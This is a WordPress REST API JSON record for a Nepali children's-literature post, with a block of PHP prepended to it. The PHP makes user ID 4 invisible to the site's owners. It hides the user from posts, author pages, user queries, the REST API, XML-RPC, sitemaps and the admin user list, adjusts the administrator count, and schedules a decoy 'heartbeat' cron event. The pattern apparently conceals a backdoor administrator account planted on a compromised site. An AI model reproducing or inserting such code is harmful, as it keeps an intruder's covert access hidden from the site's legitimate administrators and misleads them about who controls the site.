add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":682,"date":"2024-08-17T02:56:57","date_gmt":"2024-08-17T02:56:57","guid":{"rendered":"http:\/\/heramba.com.np\/?p=682"},"modified":"2024-08-18T06:24:53","modified_gmt":"2024-08-18T06:24:53","slug":"%e0%a4%ad%e0%a4%af%e0%a4%95%e0%a5%8b-%e0%a4%a4%e0%a4%b8%e0%a5%8d%e0%a4%ac%e0%a4%bf%e0%a4%b0","status":"publish","type":"post","link":"https:\/\/heramba.com.np\/?p=682","title":{"rendered":"\u092d\u092f\u0915\u094b \u0924\u0938\u094d\u092c\u093f\u0930"},"content":{"rendered":"<div style=\"margin-top: 0px; margin-bottom: 0px;\" class=\"sharethis-inline-share-buttons\" ><\/div>\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"801\" height=\"534\" src=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/Screenshot-2024-08-17-085356.jpg\" alt=\"\" class=\"wp-image-690\" srcset=\"https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/Screenshot-2024-08-17-085356.jpg 801w, https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/Screenshot-2024-08-17-085356-300x200.jpg 300w, https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/Screenshot-2024-08-17-085356-768x512.jpg 768w\" sizes=\"auto, (max-width: 801px) 100vw, 801px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center has-large-font-size wp-block-paragraph\">\u0905\u092a\u0947\u0915\u094d\u0937\u093e \u092c\u093e\u0938\u094d\u0924\u094b\u0932\u093e<\/p>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-fafdfebb-d7ef-408d-ac60-b592726a34fe\" href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2023\/06\/Apeksha-Bastola.jpg\">Apeksha Bastola<\/a><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div class=\"wp-block-cover\" style=\"min-height:378px;aspect-ratio:unset;\"><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><img loading=\"lazy\" decoding=\"async\" width=\"575\" height=\"1024\" class=\"wp-block-cover__image-background wp-image-684\" alt=\"\" src=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/IMG-20240813-WA0002-575x1024.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/IMG-20240813-WA0002-575x1024.jpg 575w, https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/IMG-20240813-WA0002-169x300.jpg 169w, https:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/IMG-20240813-WA0002.jpg 719w\" sizes=\"auto, (max-width: 575px) 100vw, 575px\" \/><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"wp-block-paragraph\">\u0968\u200d\u0966\u096e\u0967<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"has-text-align-center has-large-font-size wp-block-paragraph\">\u092c\u093e\u0932\u0915\u0925\u093e \u0938\u0919\u094d\u0917\u094d\u0930\u0939<\/p>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-cover\"><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/08\/\u092d\u092f\u0915\u094b-\u0924\u0938\u094d\u092c\u093f\u0930.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Embed of \u092d\u092f\u0915\u094b \u0924\u0938\u094d\u092c\u093f\u0930.\"><\/object><a id=\"wp-block-file--media-90c532cb-d479-4fd1-9704-85562d1b49dd\" href=\"http:\/\/heramba.com.np\/?attachment_id=683\" target=\"_blank\" rel=\"noreferrer noopener\">\u092d\u092f\u0915\u094b \u0924\u0938\u094d\u092c\u093f\u0930<\/a><\/div>\n<\/div>\n<\/div>\n<\/div><\/div>\n<\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0905\u092a\u0947\u0915\u094d\u0937\u093e \u092c\u093e\u0938\u094d\u0924\u094b\u0932\u093e<\/p>\n","protected":false},"author":3,"featured_media":690,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-682","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-literature"],"_links":{"self":[{"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/682","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=682"}],"version-history":[{"count":6,"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/682\/revisions"}],"predecessor-version":[{"id":693,"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/682\/revisions\/693"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/media\/690"}],"wp:attachment":[{"href":"https:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=682"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=682"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=682"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}